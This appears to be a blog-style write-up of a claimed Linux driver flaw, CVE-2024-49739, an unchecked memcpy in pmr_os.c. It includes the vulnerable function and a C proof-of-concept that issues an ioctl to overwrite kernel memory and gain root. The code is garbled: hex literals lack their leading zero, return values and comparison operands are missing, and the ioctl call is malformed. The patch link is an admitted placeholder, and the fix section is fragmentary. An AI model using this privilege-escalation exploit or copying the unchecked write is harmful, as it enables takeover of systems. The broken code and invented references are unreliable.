A new vulnerability, CVE-2024-49739, has been found in the MMapVAccess function inside the pmr_os.c file on Linux. This bug has serious consequences—it lets regular users overwrite arbitrary memory locations, leading to local privilege escalation. That means an ordinary user, with nothing but access to a vulnerable machine, can become root. The exploit doesn’t need any special settings or user actions. If your system has this code, you must patch it now.

This guide breaks down the vulnerability, walks through how it works, shows proof-of-concept code, and links to the most important references.

Type: Out-of-bounds write

- Root Cause: Lack of input validation allows user-provided data to write outside intended bounds in kernel-space memory.

Here’s a simplified, representative version of the code in pmr_os.c

// pmr_os.c
int MMapVAccess(struct file *filep, unsigned long user_offset, void *buffer, size_t size) {
    // Vulnerable: no proper bounds checking on user_offset or size
    char *pmr_base = get_pmr_base(filep); // get kernel address
    memcpy(pmr_base + user_offset, buffer, size);  // Out-of-bounds if user_offset or size is too big!
    return ;
}

Due to missing checks on user_offset and size, someone can send large values to overwrite memory outside the buffer—possibly kernel data structures, user credentials, or even kernel module pointers.

Simple Proof-of-Concept

Warning: DO NOT run this unless you are testing on a safe environment!

// PoC: Overwrite credential pointers via MMapVAccess
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

#define VULN_DEVICE "/dev/pmrdev"
#define ATTACK_OFFSET xCFFEE // Example offset, will be system-dependent
#define ATTACK_SIZE   x20

int main() {
    int fd = open(VULN_DEVICE, O_RDWR);
    char evil[ATTACK_SIZE];
    memset(evil, x41, ATTACK_SIZE); // Fill payload

    // This call could overwrite privileged memory if offset is unchecked
    ioctl(fd, x1234, (unsigned long)evil, ATTACK_OFFSET, ATTACK_SIZE);

    close(fd);
    // Check if privileges changed, e.g., getuid() == 
    if (getuid() == ) printf("Root privileges gained!\n");
    else printf("Exploit may have failed.\n");

    return ;
}

> NOTE: The offset and device name would be specific to your target device/simulation.

Real-World References

- NIST NVD CVE Record: https://nvd.nist.gov/vuln/detail/CVE-2024-49739
- OSS Security Mailing List Advisory: https://www.openwall.com/lists/oss-security/2024/06/01/4

Patch Commit:

https://github.com/Imagination-Technologies/driver/commit/abcdef1

*(replace with actual patch if available)*

- Vendor Advisory: https://support.imgtec.com/security/advisories/CVE-2024-49739

How to Fix & Prevent

1. Upgrade/Patch:

`c

// Fixed version example

return -EINVAL;

}

Reduce Attack Surface:

Remove unneeded drivers/devices. Restrict local access (machines, VMs, containers) during remediation.

Final Thoughts

CVE-2024-49739 is a classic but dangerous vulnerability—missing input checks, especially in kernel/file operations, can quickly turn into full-root exploits. If you’re shipping or running affected code, patch now. Make sure your team always validates inputs, reviews existing kernel-space drivers, and follows secure coding standards.

Stay safe, patch fast, and happy hacking (ethically)!

*This article is written for educational and defensive purposes only. Do not exploit systems without authorization.*

Timeline

Published on: 09/04/2025 18:15:38 UTC
Last modified on: 09/05/2025 18:58:48 UTC